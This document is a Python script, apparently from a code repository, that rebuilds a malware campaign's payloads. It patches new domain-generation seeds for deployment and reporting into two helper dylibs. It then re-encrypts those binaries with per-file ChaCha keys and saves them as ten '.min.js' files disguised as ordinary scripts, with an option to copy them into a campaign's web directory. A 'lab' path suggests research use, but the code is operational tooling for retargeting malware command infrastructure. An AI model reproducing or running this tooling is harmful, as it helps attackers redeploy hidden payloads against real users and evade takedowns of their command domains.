144 lines
4.4 KiB
Python
144 lines
4.4 KiB
Python
#!/usr/bin/env python3
|
|
"""Patch DGA seeds in the two unique type-0x01 dylibs and rebuild all 10 secondary .min.js."""
|
|
|
|
from __future__ import annotations
|
|
|
|
import argparse
|
|
import json
|
|
import shutil
|
|
from pathlib import Path
|
|
|
|
from _common import (
|
|
GROUP_DYLIBS,
|
|
LAB_ROOT,
|
|
SECONDARY_KEYS,
|
|
SOURCE_ROOT,
|
|
ensure_tree_layout,
|
|
patch_seeds_in_dylib,
|
|
set_tree_root,
|
|
sha256_hex,
|
|
tree_root,
|
|
validate_seed_arg,
|
|
)
|
|
from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs
|
|
import _common
|
|
|
|
|
|
def main() -> int:
|
|
parser = argparse.ArgumentParser(
|
|
description=(
|
|
"Replace Deployment/Reporting seeds in type-0x01 helpers and "
|
|
"re-encrypt all 10 secondary .min.js (same filenames, per-stem ChaCha keys)."
|
|
)
|
|
)
|
|
parser.add_argument(
|
|
"--deployment-seed",
|
|
required=True,
|
|
help="new Deployment DGA seed (<=32 ASCII; recommend 32 hex chars)",
|
|
)
|
|
parser.add_argument(
|
|
"--reporting-seed",
|
|
required=True,
|
|
help="new Reporting DGA seed (<=32 ASCII; recommend 32 hex chars)",
|
|
)
|
|
parser.add_argument(
|
|
"--root",
|
|
type=Path,
|
|
help="project root containing web/ + sync/ (required with --apply)",
|
|
)
|
|
parser.add_argument(
|
|
"--out",
|
|
type=Path,
|
|
help="output directory for rebuilt .min.js (default: <root>/out/secondary or lab out/)",
|
|
)
|
|
parser.add_argument(
|
|
"--apply",
|
|
action="store_true",
|
|
help="also copy outputs into <root>/web/.../",
|
|
)
|
|
args = parser.parse_args()
|
|
dep = validate_seed_arg("--deployment-seed", args.deployment_seed)
|
|
rep = validate_seed_arg("--reporting-seed", args.reporting_seed)
|
|
|
|
if args.root:
|
|
set_tree_root(args.root)
|
|
ensure_tree_layout(tree_root())
|
|
if args.apply:
|
|
if not args.root:
|
|
raise SystemExit("--apply requires --root <project-dir> (refusing to write into source/)")
|
|
if tree_root().resolve() == SOURCE_ROOT.resolve():
|
|
raise SystemExit("refusing --apply into source/; create a project first")
|
|
out = args.out or (tree_root() / "out" / "secondary" if args.root else LAB_ROOT / "out" / "secondary")
|
|
|
|
# re-bind after set_tree_root
|
|
campaign_dir = _common.CAMPAIGN_DIR
|
|
meta = json.loads(SECONDARY_KEYS.read_text())
|
|
stems = meta["stems"]
|
|
|
|
patched: dict[str, bytes] = {}
|
|
for group, path in GROUP_DYLIBS.items():
|
|
if not path.is_file():
|
|
raise SystemExit(f"missing source dylib: {path}")
|
|
patched[group] = patch_seeds_in_dylib(
|
|
path.read_bytes(),
|
|
dep,
|
|
rep,
|
|
expect_dep=1,
|
|
expect_rep=1,
|
|
label=path.name,
|
|
)
|
|
print(
|
|
f"group {group}: patched {path.name} "
|
|
f"sha256={sha256_hex(patched[group])[:16]}… size={len(patched[group])}"
|
|
)
|
|
|
|
out.mkdir(parents=True, exist_ok=True)
|
|
(out / "dylibs").mkdir(exist_ok=True)
|
|
for group, data in patched.items():
|
|
(out / "dylibs" / f"group_{group}_type0x01.dylib").write_bytes(data)
|
|
|
|
built = []
|
|
for stem, info in stems.items():
|
|
group = info["group"]
|
|
key = bytes.fromhex(info["key"])
|
|
wire = encrypt_secondary_minjs(patched[group], key)
|
|
# sanity: decrypt back
|
|
check = decrypt_secondary_minjs(wire, key)
|
|
if check != patched[group]:
|
|
raise SystemExit(f"round-trip failed for {stem}")
|
|
dest = out / f"{stem}.min.js"
|
|
dest.write_bytes(wire)
|
|
built.append(
|
|
{
|
|
"stem": stem,
|
|
"group": group,
|
|
"size": len(wire),
|
|
"sha256": sha256_hex(wire),
|
|
}
|
|
)
|
|
print(f" wrote {dest.name} ({len(wire)} bytes)")
|
|
|
|
manifest = {
|
|
"deployment_seed": dep,
|
|
"reporting_seed": rep,
|
|
"files": built,
|
|
"group_dylib_sha256": {g: sha256_hex(d) for g, d in patched.items()},
|
|
}
|
|
(out / "MANIFEST.json").write_text(json.dumps(manifest, indent=2) + "\n")
|
|
|
|
if args.apply:
|
|
for item in built:
|
|
src = out / f"{item['stem']}.min.js"
|
|
dst = campaign_dir / src.name
|
|
shutil.copy2(src, dst)
|
|
print(f"applied -> {dst}")
|
|
|
|
print(f"\nDone. Output: {out}")
|
|
if not args.apply:
|
|
print(f"Re-run with --apply --root <project> to overwrite files under web/")
|
|
return 0
|
|
|
|
|
|
if __name__ == "__main__":
|
|
raise SystemExit(main())
|